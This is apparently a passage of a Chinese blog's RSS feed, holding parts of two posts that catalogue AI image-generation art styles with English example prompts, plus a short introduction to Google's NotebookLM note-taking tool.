The city is set in an open area with wide streets, neatly organized parks, and roadways, all rendered in flat, vibrant colors. Streets are lined with simple geometric shapes representing cars, buses, and bicycles, all aligned in the same perspective to maintain the isometric view.

Green spaces with circular trees, square garden plots, and clean sidewalks are visible throughout the city, adding to the organized and efficient layout. The background features a sky filled with a few light clouds, offering a calming, simplistic feel. The scene utilizes bold, flat colors with no gradients or shading, adhering to the principles of isometric design.

Overall, the cityscape is well-balanced, with a focus on clarity, geometric precision, and a futuristic urban design. The isometric projection gives the city a visually appealing, three-dimensional effect while maintaining simplicity and order.

</code></pre>
<h3>商业插图风格</h3>
<p><strong>一句话特征：</strong> 商业插图风格以传达明确信息和吸引目标受众为目的，通过专业、精致的画面处理和现代设计元素，展现产品、服务或概念的核心价值，风格干净利落，细节精确，常带有品牌一致性和市场定位考量。
<strong>关键提示词：</strong> <code>commercial illustration, marketing visual</code><strong>适用主题：</strong> 品牌形象、广告插画、产品展示、市场营销、企业宣传、包装设计、活动推广、行业形象、服务说明</p>
<p>[占位]</p>
<pre><code>Commercial illustration style, a modern and professional scene representing a bustling office workspace. The image shows a well-organized office environment with sleek desks, ergonomic chairs, and multiple computers. The space is bright and open, with large windows letting in natural light, creating a welcoming and productive atmosphere.

In the foreground, a group of professionals, depicted in a simple, clean style, are having a meeting around a round table, with laptops, notebooks, and coffee cups on the table. They are dressed in smart business attire, with simple, bold colors that make them stand out against the minimalist background. The meeting room is equipped with a large whiteboard, a potted plant in the corner, and abstract art on the walls, adding a touch of personality to the space.

The background features additional office spaces, including desks with stationery, office supplies, and modern tech gadgets like smartphones and tablets. The overall color scheme is a mix of neutral tones with pops of vibrant colors, creating a balanced, professional, and energetic look. The design uses smooth lines, minimal details, and flat colors to maintain a clean and polished look, ideal for commercial illustrations.

</code></pre>
<h2>七、其他创意风格</h2>
<h3>赛博像素风格</h3>
<p><strong>一句话特征：</strong> 赛博像素风格融合了像素艺术的复古质感与赛博朋克的未来感，通过小方块构成的图像和有限的色彩，呈现数字化、低分辨率的视觉效果，同时融入霓虹灯光和科技元素，营造出既怀旧又前卫的数字美学。
<strong>关键提示词：</strong> <code>pixel art, 8-bit style, retro gaming</code><strong>适用主题：</strong> 复古游戏、数字角色、像素场景、电子世界、复古科技、数字艺术、游戏人物、虚拟空间、电子景观</p>
<p>[占位]</p>
<pre><code>Cyber Pixel style, a vibrant and dynamic digital scene featuring a futuristic cityscape in pixel art. The image shows neon-lit streets with glowing signs and billboards, depicting a cyberpunk atmosphere. Tall skyscrapers with pixelated windows are adorned with bright, colorful lights, creating a bustling, high-tech urban environment. The city is alive with movement, with pixelated vehicles speeding along the streets and pedestrians with glowing accessories.

The scene includes detailed elements like a pixelated hover car flying above the streets, digital billboards displaying pixelated advertisements, and a glowing, pixelated skyline with futuristic architecture. The ground is filled with pixelated puddles reflecting neon lights, adding to the immersive, tech-heavy atmosphere.

The overall design uses sharp, square-shaped pixels with bold neon colors like electric blue, pink, purple, and green, enhancing the cyberpunk theme. The color palette is rich and energetic, with dark shadows and bright neon highlights, giving the image a vibrant, yet gritty look. The pixelated elements emphasize the **retro-futuristic** style of the scene, combining the nostalgia of 8-bit graphics with a vision of the future.

</code></pre>
<h3>概念艺术风格</h3>
<p><strong>一句话特征：</strong> 概念艺术风格着眼于视觉构想和世界观设计，通过富有想象力的场景、角色和环境描绘，为游戏、电影或娱乐媒体创建视觉基础，强调气氛营造和视觉冲击，通常具有高度的创意性和强烈的美术方向感。
<strong>关键提示词：</strong> <code>concept art, game concept, entertainment design</code><strong>适用主题：</strong> 游戏场景、电影概念、未实现世界、角色设计、环境设计、装备道具、生物设计、场景构想、视觉开发</p>
<p>[占位]</p>
<pre><code>Concept Art style, an imaginative and vibrant scene depicting an alien ecosystem on a distant planet. The landscape is dominated by otherworldly flora, with towering, bioluminescent plants casting a soft glow over the terrain. Alien trees have twisting, organic trunks and leaves that shimmer with iridescent colors, resembling an exotic blend of crystal and plant matter.

In the foreground, alien creatures roam the terrain — some are floating in the air, while others are crawling along the ground. These creatures are strange yet beautiful, with translucent skin, glowing markings, and segmented bodies. Their eyes are large and reflective, adapted to the bright alien sun.

The sky above is painted in shades of violet and orange, with multiple moons casting eerie shadows across the landscape. The atmosphere is thick with a soft mist, adding to the mysterious and otherworldly feel. In the distance, rocky mountains with unusual formations rise up, and a glowing river flows through the alien jungle, its water shimmering with an ethereal light.

The scene uses a rich and vibrant color palette, blending vibrant neon greens, purples, and blues with the soft, glowing tones of the bioluminescent flora. The overall composition focuses on the alien beauty and the harmonious connection between the environment and the lifeforms that inhabit it, evoking a sense of wonder and exploration.

</code></pre>
<h3>霓虹科技风格</h3>
<p><strong>一句话特征：</strong> 霓虹科技风格以明亮的发光元素和高科技感为特点，通过鲜艳的霓虹灯效、光晕和反光表面，展现未来感和数字化世界，色彩饱和度高、对比强烈，营造出充满活力的高科技视觉体验。
<strong>关键提示词：</strong> <code>neon cyber, glowing edges, digital technology</code><strong>适用主题：</strong> 科技界面、数字艺术、未来世界、夜间城市、电子产品、高科技环境、虚拟空间、游戏界面、数字概念</p>
<p>[占位]</p>
<pre><code>Neon Tech style, a futuristic cityscape illuminated by vibrant neon lights and advanced technology. The scene showcases towering skyscrapers with sleek, reflective surfaces and glowing neon lines running along their edges. The city streets are alive with color, featuring glowing holographic billboards, digital advertisements, and neon signs in various shades of electric blue, pink, purple, and green.

The streets are bustling with activity, as pedestrians and hover cars move through the urban landscape. The people are dressed in futuristic attire, and some are carrying high-tech gadgets that emit soft, ambient glows. The hover cars glide smoothly through the streets, leaving light trails behind them. Above, the sky is filled with digital clouds and a series of hovering drones scanning the area, contributing to the high-tech atmosphere.

In the background, large structures with illuminated patterns and holographic displays dominate the skyline, representing the fusion of technology and architecture. The atmosphere is vibrant and energetic, with neon lights reflecting off glass surfaces and creating dramatic shadows and highlights. The color palette is rich with contrasting neon colors, glowing accents, and sharp lines, conveying a sense of modernity, innovation, and digital sophistication.

</code></pre>
<h3>蒸汽波风格</h3>
<p><strong>一句话特征：</strong> 蒸汽波风格融合了1980-90年代复古美学与互联网早期元素，通过粉紫色调、网格背景、老式电脑图形和古典雕塑等元素的碰撞，创造出怀旧而超现实的氛围，表达数字时代的文化挪用和怀旧情绪。
<strong>关键提示词：</strong> <code>vaporwave aesthetic, retro glitch, synthwave</code><strong>适用主题：</strong> 复古科技、数字怀旧、网络文化、消费主义、80年代风格、数字拼贴、视觉干扰、电子音乐、互联网文化</p>
<p>[占位]</p>
<pre><code>Vaporwave style, a surreal and nostalgic scene that combines retro aesthetics with futuristic elements. The image showcases a dreamy, pastel-colored cityscape filled with geometric shapes, ancient Greek statues, and neon lights. The city is bathed in soft pink, purple, and turquoise hues, with floating grids and digital glitch effects that add a sense of abstract futurism.

In the foreground, a giant neon palm tree stands tall, glowing against a backdrop of retro-futuristic buildings. The architecture has a mix of 80s and 90s influences, with pixelated surfaces, VHS tape-like textures, and neon signs in bold, colorful fonts. On the streets, a classic sports car is parked next to a large digital screen showing looping 3D graphics of glitch art.

The sky above is filled with surreal elements such as digital clouds, glowing geometric shapes, and a large, pixelated sun that casts a soft, faded glow over the entire scene. The atmosphere is enhanced with a sense of nostalgia, evoking the feeling of a bygone era merged with futuristic digital aesthetics. The overall color palette is a mix of vibrant neon tones, soft gradients, and vintage-inspired textures, giving the image a dreamy, retro-futuristic vibe.

</code></pre>
<h3>拼贴艺术风格</h3>
<p><strong>一句话特征：</strong> 拼贴艺术风格通过将不同来源的图像、材质和元素组合在一起，创造出新的视觉叙事和意义，常利用照片、插图、纹理等多种媒介的碰撞与层叠，形成混合的视觉语言，表达复杂或超现实的思想。
<strong>关键提示词：</strong> <code>collage art, mixed media</code><strong>适用主题：</strong> 混合媒介、视觉叙事、文化评论、超现实场景、概念表达、情绪表现、文字与图像、报纸杂志元素、多层次创作</p>
<p>[占位]</p>
<pre><code>Collage art style, a surreal and creative composition combining vintage black-and-white photographs, bold magazine cut-outs, and colorful abstract shapes. The central figure is a retro-style woman from a 1950s fashion ad, her face partially replaced with a blooming sunflower and geometric patterns. Around her, fragments of classic architecture, old newspaper headlines, and vintage postage stamps float freely, arranged in a seemingly chaotic yet balanced layout.

The background features layered paper textures, torn edges, and overlapping brush strokes, creating a handcrafted and experimental look. Bright pops of primary colors — red, yellow, and blue — intersect with monochrome elements, creating strong visual contrast. Cut-out stars, clouds, and butterflies are scattered throughout, adding a whimsical tone.

Some text elements in mismatched fonts are collaged into the image, like hand-cut ransom letters or vintage advertisements. The entire composition has a slightly weathered, analog texture, mimicking the feel of handmade physical collages. The layout is asymmetric but carefully composed, celebrating creativity, imperfection, and narrative layering.

This collage-style composition fuses retro aesthetics, surreal symbolism, and modern visual chaos — resulting in a vivid and thought-provoking artistic statement.

</code></pre>
<h3>抽象艺术风格</h3>
<p><strong>一句话特征：</strong> 抽象艺术风格摒弃了对现实物体的具象描绘，通过纯粹的形状、色彩、线条和纹理，表达情感和概念，不依赖于可识别的对象，而是通过视觉元素本身的组织和关系，创造出非具象的视觉体验。
<strong>关键提示词：</strong> <code>abstract art, non-representational</code><strong>适用主题：</strong> 情感表达、色彩研究、形式探索、视觉节奏、精神状态、概念抽象、构成艺术、几何抽象、表现主义</p>
<p>[占位]</p>
<pre><code>Abstract art style, a vibrant and emotionally expressive composition filled with bold brush strokes, geometric shapes, and dynamic color contrasts. The image features a non-representational layout where color, form, and texture take center stage. Swirling patterns in vivid reds, blues, and yellows dance across the canvas, intersecting with sharp black lines and layered transparent shapes.

The composition includes overlapping circles, triangles, and curved fragments arranged in a chaotic but visually harmonious flow. The texture is rich and painterly, with visible brush marks, palette knife scrapes, and layered splashes of acrylic or oil paint. Negative space is used creatively to balance density and openness, allowing the eye to travel freely across the image.

The overall feeling is energetic and emotional, evoking a sense of movement, rhythm, and spontaneous expression. The palette is bold and saturated, featuring high-contrast combinations that create tension and excitement. No literal subject is depicted — the focus is on abstract visual language and intuitive design.

The scene mimics a museum-quality canvas artwork in large scale, ideal for use in fine art settings, expressive design backdrops, or creative experimentation.

</code></pre>
<h2>总结</h2>
<p>这篇文章继续深入探索了 AI 生图的风格领域，从幻想类到创意类，共整理了4个大类下的22种风格，为每一种风格提供了<code>一句话特征说明 + 关键提示词 + 适用主题 + 参考图 + 英文提示词</code>，可以说是实战派 AI 插画师的风格速查宝典。</p>
<p>无论你是在构思prompt、选择风格、还是寻找灵感参考，这份资料都能帮你迅速破局，提升效率。
建议收藏备用，灵感枯竭时翻出来看看，总有惊喜。</p>
<p>如果本文对你有所帮助，请顺手点个赞、转发给身边的设计师朋友！</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Sun, 04 May 2025 07:18:53 GMT</pubDate>
    </item>
    <item>
      <title>告别低效阅读！这款Google AI笔记助手，5分钟搞定100页资料</title>
      <link>https://yangxinmin.com/google-ai-notebook-reading</link>
      <guid isPermaLink="true">https://yangxinmin.com/google-ai-notebook-reading</guid>
      <description>NotebookLM是Google推出的创新AI工具，旨在提升阅读和研究体验。它不仅仅是一款普通的笔记应用，更是融合了先进AI技术的个人知识助手。对于AI新手来说，这款工具尤为友好，下面向你简要介绍其核心功能及使用方法。 主要功能 1. 智能文档理解：上传PDF、文档或网页后，NotebookLM能</description>
      <content:encoded><![CDATA[<p>NotebookLM是Google推出的创新AI工具，旨在提升阅读和研究体验。它不仅仅是一款普通的笔记应用，更是融合了先进AI技术的个人知识助手。对于AI新手来说，这款工具尤为友好，下面向你简要介绍其核心功能及使用方法。</p>
<h2>主要功能</h2>
<ol>
<li><strong>智能文档理解</strong>：上传PDF、文档或网页后，NotebookLM能够自动分析内容，并提取关键信息，帮助你快速掌握要点。</li>
<li><strong>AI问答交互</strong>：基于上传的资料，你可以直接提问，获取针对性强的即时回答，减少资料翻阅的时间。</li>
<li><strong>语音转文字</strong>：将复杂的内容转换为语音播客，让你可以边走边听，提升学习效率。</li>
<li><strong>智能笔记生成</strong>：自动生成摘要、关键点和学习笔记，让你轻松整理重要信息。</li>
<li><strong>信息可靠追溯</strong>：所有AI生成的回答都会标明信息来源，确保内容的可靠性，避免信息误导。</li>
</ol>
<h2>简易使用指南</h2>
<ol>
<li>访问<a href="https://notebooklm.google.com/">notebooklm.google.com</a>并使用Google账号登录。</li>
<li>创建新的笔记本，点击“添加资源”上传你的学习材料（如PDF、文档等）。</li>
<li>等待系统处理完毕后，你可以开始提问或使用“生成笔记”功能，轻松获取摘要和要点。</li>
<li>点击播客图标，将内容转化为语音，随时随地收听。</li>
<li>所有生成的内容都可以编辑、导出或分享，方便随时整理和分享你的笔记。</li>
</ol>
<p><img src="/api/images/image/2026/10/ccf869076df57f8a-notebooklm.jpg" alt="notebooklm.jpg"></p>
<p>对于初学者来说，NotebookLM最大的优势在于简化了与复杂文档的交互方式。即使没有专业的AI知识，你也能轻松获得个性化的学习辅助。它特别适合学生、研究人员以及任何需要高效处理大量阅读材料的人群。</p>
<p>无论你是准备考试、撰写研究论文，还是进行职场学习，这款工具都能帮助你节省时间、提升阅读效率，让学习变得更加智能，还不快快用起来！</p>
<p>如果本文对你有所帮助，请顺手点个赞、转发给身边的朋友吧！</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Sat, 03 May 2025 07:57:15 GMT</pubDate>
    </item>
    <item>
      <title>AI生图终极指南（一）：43种风格全解析，设计师必藏！</title>
      <link>https://yangxinmin.com/ai-image-guide-43-styles-part1</link>
      <guid isPermaLink="true">https://yangxinmin.com/ai-image-guide-43-styles-part1</guid>
      <description>最近我一直在折腾各种 AI 生图工具，像 GPT-4o、Sora、豆包轮番上场。作为一名 AI 插画师，搞清楚不同图片风格几乎成了“基本功”——只有吃透了风格特征，才能在不同主题和场景中选对图、出好图。 于是就有了这篇文章。我先请 Claude 帮我系统整理了主流的图片风格资料，共计 43 种风格、</description>
      <content:encoded><![CDATA[<p>最近我一直在折腾各种 AI 生图工具，像 GPT-4o、Sora、豆包轮番上场。作为一名 AI 插画师，搞清楚不同图片风格几乎成了“基本功”——只有吃透了风格特征，才能在不同主题和场景中选对图、出好图。</p>
<p>于是就有了这篇文章。我先请 Claude 帮我系统整理了主流的图片风格资料，共计 43 种风格、划分为 7 大类，逐一梳理了它们的风格特征、关键提示词，以及适用的主题场景，然后再让 GPT-4o 生成对应的生图提示词，并交给 Sora 实际出图（国内用户也可以用豆包、即梦等工具进行创作）。</p>
<p>内容量不小，我打算拆成两篇分享——这篇是第一篇。建议点赞收藏，相信你日后用得着。</p>
<h2>一、艺术绘画类</h2>
<h3>油画风格</h3>
<p><strong>一句话特征：</strong> 油画风格通过丰富的色彩层次和厚重的笔触呈现立体感，展现出质感强烈的色彩过渡和细节，适合表现具有深度、光影和质感的场景，能营造出沉稳厚重或华丽精致的艺术氛围。
<strong>关键提示词：</strong><code>oil painting, renaissance style, impressionist, expressionist</code><strong>适用主题：</strong>  建筑、风景、人物、静物、历史场景、肖像、宗教</p>
<p><img src="/api/images/image/2026/10/cc9115892d437f9a--.png" alt="珠穆朗玛峰.png"></p>
<pre><code>oil painting style of Mount Everest summit, breathtaking panoramic view of snow-capped peaks, dramatic lighting, high-altitude atmosphere with clouds surrounding the summit, vibrant colors, soft brushstrokes, serene yet majestic landscape, photorealistic textures

</code></pre>
<p><img src="/api/images/image/2026/10/cbed23021d90014e--.png" alt="上海外滩.png"></p>
<pre><code>oil painting style of Shanghai's Bund, detailed skyline with historical and modern architecture, vibrant colors, warm golden sunset light reflecting off the water, lively urban atmosphere, soft brushstrokes, photorealistic textures, high detail

</code></pre>
<p><img src="/api/images/image/2026/10/2b70a3d17d8d30e8--.png" alt="蒙拉丽莎.png"></p>
<pre><code>renaissance style oil painting of a young woman with a serene expression, soft indoor lighting, high detail, soft gradients on the face, subtle smile, detailed fabric and background, natural colors, gentle chiaroscuro lighting, photorealistic textures, realistic facial features, classic Renaissance portrait

</code></pre>
<h3>水彩画风格</h3>
<p><strong>一句话特征：</strong>  水彩画风格以透明轻盈的色彩层次感为特点，色彩自然流动融合，呈现出通透明亮的视觉效果，水分的自然扩散形成柔和的边缘，特别适合表达轻松、梦幻或自然的意境。
<strong>关键提示词：</strong> <code>watercolor painting, wet on wet, watercolor sketch</code><strong>适用主题：</strong> 自然景观、城市景观、花卉植物、人物肖像、静物、山水画、童话场景</p>
<p><img src="/api/images/image/2026/10/a111d5ad31b8c16f--.png" alt="西湖断桥.png"></p>
<pre><code>watercolor painting of the Broken Bridge at West Lake, soft brushstrokes, tranquil atmosphere, delicate lotus flowers blooming on the lake, gentle ripples in the water, pastel tones, serene reflection, misty background, traditional Chinese landscape, vibrant yet soft colors blending into the scenery

</code></pre>
<p><img src="/api/images/image/2026/10/1e773dbaf5d026c8--.png" alt="快乐孩子.png"></p>
<pre><code>watercolor illustration of a happy child playing in a garden, soft pastel colors, gentle background, whimsical characters, flowers blooming around

</code></pre>
<h3>丙烯画风格</h3>
<p><strong>一句话特征：</strong>  丙烯画风格融合了油画的质感和水彩的便捷性，色彩鲜艳饱和，干燥快速且不易褪色，具有多样的表现力，从厚重的肌理到透明的层叠效果均可实现，适合大胆色彩表达与现代艺术呈现。
<strong>关键提示词：</strong> <code>acrylic painting, acrylic on canvas</code><strong>适用主题：</strong> 花卉植物、水果蔬果、日常用品、人物肖像、宠物动物、几何图形组合、抽象主题、现代艺术场景</p>
<p><img src="/api/images/image/2026/10/6e5d829a80ce8459--.png" alt="洛阳牡丹.png"></p>
<pre><code>acrylic painting of blooming Luoyang peonies, vivid and rich colors, thick brushstrokes, layered petals with strong texture, deep green leaves, golden sunlight illuminating the flowers, vibrant background, bold composition, traditional Chinese elegance with expressive modern art style

</code></pre>
<p><img src="/api/images/image/2026/10/e2e26a086b5ea5de--.png" alt="水果蔬菜盘.png"></p>
<pre><code>acrylic painting of a colorful fruit and vegetable platter, vibrant and saturated colors, thick brushstrokes, textured surfaces, sliced oranges, grapes, tomatoes, bell peppers, arranged on a rustic wooden plate, dramatic shadows and highlights, bold composition with rich contrasts, expressive modern art style

</code></pre>
<h3>素描风格</h3>
<p><strong>一句话特征：</strong> 素描风格以线条和明暗对比为主要表现手法，通过精确的轮廓线和渐变的灰度阴影展现物体的形态和立体感，强调光影关系和空间感，呈现出简洁而深刻的黑白艺术效果。
<strong>关键提示词：</strong> <code>pencil sketch, charcoal drawing, graphite</code><strong>适用主题：</strong> 人物肖像、建筑、静物、风景、动物、植物、几何形体</p>
<p><img src="/api/images/image/2026/10/b4bf911bc34ceb8e--.png" alt="素描女子.png"></p>
<pre><code>pencil sketch of a young woman, black and white, detailed lines, realistic facial features, portrait close-up

</code></pre>
<p><img src="/api/images/image/2026/10/8f3c3e8cb2958b48--.png" alt="上海中国馆.png"></p>
<pre><code>pencil sketch of the China Art Museum in Shanghai, black and white, detailed architectural lines, strong geometric structure, clear perspective, fine shading on surfaces, dramatic light and shadow contrast, realistic pencil drawing style, traditional sketch rendering of modern Chinese architecture

</code></pre>
<p><img src="/api/images/image/2026/10/a091b833e3afd5dd--.png" alt="陶瓷玻璃杯.png"></p>
<pre><code>pencil sketch of a still life arrangement featuring a fruit bowl, ceramic vase, and glass cup, black and white, realistic proportions, clean linework with subtle graphite shading, reflective textures on the glass, rough matte surface on the pottery, strong light and shadow contrast, traditional academic sketch style on a neutral background

</code></pre>
<h3>水墨风格</h3>
<p><strong>一句话特征：</strong> 水墨风格源于东方绘画传统，以浓淡变化的墨色和水的流动性创造意境，注重留白与虚实对比，通过简练的线条和墨晕的渗透扩散效果，表现出空灵、含蓄、意境深远的艺术效果。
<strong>关键提示词：</strong> <code>Chinese ink painting, sumi-e, brush painting</code><strong>适用主题：</strong> 人物肖像、建筑、静物、山水、花鸟、竹松梅兰、动物、传统建筑、古典场景</p>
<p><img src="/api/images/image/2026/10/011f93b2a5a97600--.png" alt="苏州七里山塘.png"></p>
<pre><code>traditional Chinese ink painting of Qili Shantang Street in Suzhou, misty canal scene with arched stone bridges, whitewashed walls and black tile roofs, willows hanging over the water, wooden boats drifting gently, monochrome ink with expressive brushwork, elegant composition with negative space, poetic and serene atmosphere, classic shan shui style

</code></pre>
<p><img src="/api/images/image/2026/10/dd7cd649a15feabc--.png" alt="桂林山水.png"></p>
<pre><code>traditional Chinese ink painting of Guilin landscape, dramatic karst mountains rising from calm river waters, mist drifting between peaks, reflections in the Li River, fishermen on bamboo rafts with cormorants, sparse trees and layered mountain ridges, expressive brushstrokes, use of negative space and poetic composition, inspired by ancient Chinese shan shui painting, monochrome ink wash style, evokes a serene and timeless atmosphere

</code></pre>
<h3>手绘插画风格</h3>
<p><strong>一句话特征：</strong> 手绘插画风格融合了艺术性与叙事性，以亲和可爱的线条和鲜明色彩为特点，细节简化但富有表现力，常带有童趣与想象力，适合讲述故事、表达情感或创造温馨氛围。
<strong>关键提示词：</strong> <code>children's book illustration, hand-drawn style</code><strong>适用主题：</strong> 人物、动物、童话场景、日常生活、自然景观、食物、情感表达</p>
<p><img src="/api/images/image/2026/10/6fd537d9d0fd85bf--.png" alt="可爱小朋友.png"></p>
<pre><code>hand-drawn illustration based on the person in the attached photo, clean line art with soft pastel colors, semi-realistic proportions, expressive facial features, subtle textures resembling colored pencil or ink pen, minimalistic background with artistic accents, warm and approachable visual style, suitable for editorial or character-based illustration

</code></pre>
<h3>点彩派风格</h3>
<p><strong>一句话特征：</strong> 点彩派风格通过纯色小点的并置与色彩叠加原理创造视觉混合效果，形成明亮、跳跃的色彩感受，画面呈现出颗粒感和震动的光感，特别适合表现光线变化与色彩丰富的自然场景。
<strong>关键提示词：</strong> <code>pointillism, stippling art</code><strong>适用主题：</strong> 风景、公园、河边场景、花园、城市景观、午后阳光、光影效果</p>
<p><img src="/api/images/image/2026/10/e2a2d974b19b58c5--.png" alt="颐和园昆明湖.png"></p>
<pre><code>pointillist painting style, afternoon scene by Kunming Lake in the Summer Palace, Beijing. Dappled sunlight sparkles on the surface of the calm lake, rendered in small colored dots. A few traditional Chinese boats drift near the shore. In the distance, the arched Seventeen-Arch Bridge stretches across the water, and the silhouette of the Tower of Buddhist Incense (Fo Xiang Ge) rises gently on the wooded hill.

On the shore, willow trees sway softly, their green branches painted with stippled dots of light and shade. Scattered visitors stroll or sit along the stone path, with parasols or hats casting shadows. The scene is filled with pastel blues, soft greens, ochres, and warm sunlight tones, all layered using vibrant pointillist brushwork. The overall composition evokes a sense of peace, harmony, and nostalgic elegance, capturing a timeless afternoon at the lakeside in a dreamy, impressionistic atmosphere.

</code></pre>
<h3>版画风格</h3>
<p><strong>一句话特征：</strong> 版画风格以强烈的黑白对比和线条纹理为特点，具有独特的刻印质感，图形简练而有力，常呈现粗犷、朴素或精细的艺术效果，适合表现具有戏剧性或民间风格的主题。
<strong>关键提示词：</strong> <code>woodcut, linocut, printmaking</code><strong>适用主题：</strong> 民间故事、城市风景、建筑剪影、人物形象、自然景观、动物、传统文化元素</p>
<p><img src="/api/images/image/2026/10/e3591730daf0302c--.png" alt="龙图腾.png"></p>
<pre><code>woodcut print style, traditional Chinese dragon totem symbol as the central subject. The dragon is coiled in a dynamic pose, with flowing whiskers, horns, scales, and claws carefully carved in bold, high-contrast black and white lines. The background features stylized clouds, flames, and ancient pattern borders reminiscent of traditional temple motifs. The overall composition is symmetrical and powerful, with sharp chisel-like textures, strong contrast, and dense negative space. Presented in classic woodblock print technique, emphasizing line work, symbolic abstraction, and cultural gravitas.

</code></pre>
<h2>二、人物肖像类</h2>
<h3>人物写实风格</h3>
<p><strong>一句话特征：</strong> 人物写实风格追求对人物形象的精准再现，通过细致的皮肤质感、准确的光影关系和自然的面部表情，呈现出接近真实的肖像效果，能够捕捉人物的性格特征和情感状态。
<strong>关键提示词：</strong> <code>realistic portrait, studio lighting, photorealistic</code><strong>适用主题：</strong>  人物肖像、职业形象、家庭照、艺术肖像、情感表达、人物特写</p>
<p><img src="/api/images/image/2026/10/d3b5a479d7da3f8a--.png" alt="亚洲女性.png"></p>
<pre><code>realistic portrait of an Asian woman with an elegant and serene expression, natural skin tones, soft and smooth texture, detailed facial features, expressive eyes, gentle lighting that highlights her face, subtle shading on the skin and hair, photorealistic style with lifelike proportions, delicate details on the hair, calm and sophisticated aura

</code></pre>
<h3>漫画风格</h3>
<p><strong>一句话特征：</strong> 漫画风格以简化但富有表现力的线条和夸张的特征为标志，强调人物的情感和个性，细节适度简化，常有特定的艺术约定如大眼睛、特殊发型，具有鲜明的视觉识别性和叙事性。
<strong>关键提示词：</strong> <code>anime style, manga, comic art</code><strong>适用主题：</strong>  人物角色、故事场景、动作场面、情感表达、青少年主题、幻想世界</p>
<p><img src="/api/images/image/2026/10/72abc0fb8c9a0189--.png" alt="漫画小朋友.png"></p>
<pre><code>manga style portrait based on the person in the attached photo, exaggerated proportions with a larger head, big expressive eyes, cute and playful expression, vibrant colors, clean linework, smooth shading, soft gradient background, stylized hair with sharp details, character-focused composition, energetic and youthful vibe

</code></pre>
<h3>卡通风格</h3>
<p><strong>一句话特征：</strong> 卡通风格以圆润可爱的形态和简化的细节为特点，色彩明亮饱满，线条流畅圆滑，造型常有夸张和变形，呈现出活泼、俏皮、幽默的视觉效果，特别适合儿童内容和轻松主题。
<strong>关键提示词：</strong> <code>Pixar style, Disney style, 3D cartoon</code><strong>适用主题：</strong> 儿童角色、动物形象、童话场景、家庭互动、娱乐主题、教育内容</p>
<p><img src="/api/images/image/2026/10/9256b53900fa0478--.png" alt="卡通小朋友.png"></p>
<pre><code>cartoon style portrait based on the person in the attached photo, simplified features with exaggerated eyes and smile, bright and bold colors, clean and smooth line art, round face with a cute and cheerful expression, minimal shading, flat background with playful elements, vibrant and energetic character design

</code></pre>
<p><img src="/api/images/image/2026/10/d90afa53befdc5e4--.png" alt="卡通家庭.png"></p>
<pre><code>cartoon style, warm family scene, mother and child cooking together in the kitchen, exaggerated expressions, cozy home interior, bright colors

</code></pre>
<p><img src="/api/images/image/2026/10/cf37c6889264f056--.png" alt="卡通动画.png"></p>
<pre><code>cartoon style, vibrant colors, playful characters, magical forest with talking animals, enchanted treehouse, storybook style

</code></pre>
<h3>虚拟偶像风格</h3>
<p><strong>一句话特征：</strong> 虚拟偶像风格融合数字艺术与动漫美学，呈现出精致完美的人物形象，皮肤光滑细腻，发型和服装设计前卫时尚，常有科技感和未来感元素，色彩鲜艳明亮，适合创建虚拟人物形象。
<strong>关键提示词：</strong> <code>vtuber, virtual idol style</code><strong>适用主题：</strong>  数字人、虚拟主播、游戏角色、科技演示、时尚偶像、社交媒体形象</p>
<p><img src="/api/images/image/2026/10/9bdc26e38bb42179--.png" alt="虚拟偶像.png"></p>
<pre><code>virtual idol style portrait based on the person in the attached photo, futuristic and stylized features, large expressive eyes, bright and vibrant hair color, dynamic lighting with glowing accents, smooth skin with digital texture, high-tech outfit with neon elements, sleek and polished design, energetic and charismatic expression, digital art style with a modern anime feel

</code></pre>
<p><img src="/api/images/image/2026/10/0b618fecce97d91b--.png" alt="马斯克原型.png"></p>
<pre><code>virtual idol style portrait based on Elon Musk, futuristic and stylized features, sharp and confident expression, sleek and modern hairstyle, high-tech cybernetic outfit with neon accents, expressive eyes with a charismatic glow, digital skin texture with a smooth finish, dynamic lighting with futuristic elements, tech-inspired background with glowing lines and geometric patterns, digital art style with a modern sci-fi anime feel

</code></pre>
<p><img src="/api/images/image/2026/10/41cd0600b845babd-sunnyyang-.png" alt="SunnyYang原型.png"></p>
<pre><code>virtual idol style portrait based on the person in the attached professional attire photo, sleek and futuristic look, high-tech cybernetic suit with neon accents, confident and charismatic expression, stylish and modern hairstyle, expressive eyes with a glowing effect, smooth digital skin texture, dynamic lighting with futuristic elements, tech-inspired background with glowing patterns and geometric shapes, digital art style with a professional yet energetic vibe

</code></pre>
<h3>赛博朋克风格</h3>
<p><strong>一句话特征：</strong> 赛博朋克风格以高科技与低生活水平的对比为特点，人物常融合机械义体与生物特征，霓虹灯光与暗色调形成鲜明对比，展现出未来感、反乌托邦气质和科技改造人体的视觉冲击力。
<strong>关键提示词：</strong> <code>cyberpunk portrait, neon lighting, high tech low life</code><strong>适用主题：</strong>  未来都市、高科技人物、机械改造、黑客文化、反乌托邦场景、科技悬疑</p>
<p><img src="/api/images/image/2026/10/91f83f5cb6d0dba8--.png" alt="小朋友赛博朋克.png"></p>
<pre><code>cyberpunk style portrait based on the person in the attached photo, futuristic cybernetic enhancements with neon glowing accents, sleek high-tech suit with metallic details, sharp and intense expression, holographic elements and digital tattoos, reflective surfaces, glowing eyes with digital effects, dynamic lighting with neon highlights, dark moody urban background with futuristic cityscape, vibrant color contrasts, blending technology and human features

</code></pre>
<p><img src="/api/images/image/2026/10/466169c4be98a06b-sunnyyang-.png" alt="SunnyYang赛博朋克.png"></p>
<pre><code>cyberpunk style portrait based on the person in the attached professional attire photo, futuristic high-tech cybernetic suit with glowing neon accents, sleek and sharp design, dynamic lighting with neon lights, intense and confident expression, reflective surfaces and metallic details, glowing tattoos or tech implants, glowing eyes with a digital effect, dark moody background with futuristic cityscape elements, vibrant contrasting colors with a sci-fi atmosphere

</code></pre>
<h3>科幻人像风格</h3>
<p><strong>一句话特征：</strong> 科幻人像风格呈现未来进化或改造后的人类形象，结合高科技元素与人体特征，通常有光滑金属质感、几何线条设计和未来感装甲，色调冷峻或带有荧光效果，表现出前沿科技与人类形态的融合。
<strong>关键提示词：</strong> <code>sci-fi portrait, futuristic human, android style</code><strong>适用主题：</strong>  未来人类、仿生人、太空探索者、高科技战士、机械改造者、未来领袖形象</p>
<p><img src="/api/images/image/2026/10/3a6704e9c5685631--.png" alt="小朋友科幻人像.png"></p>
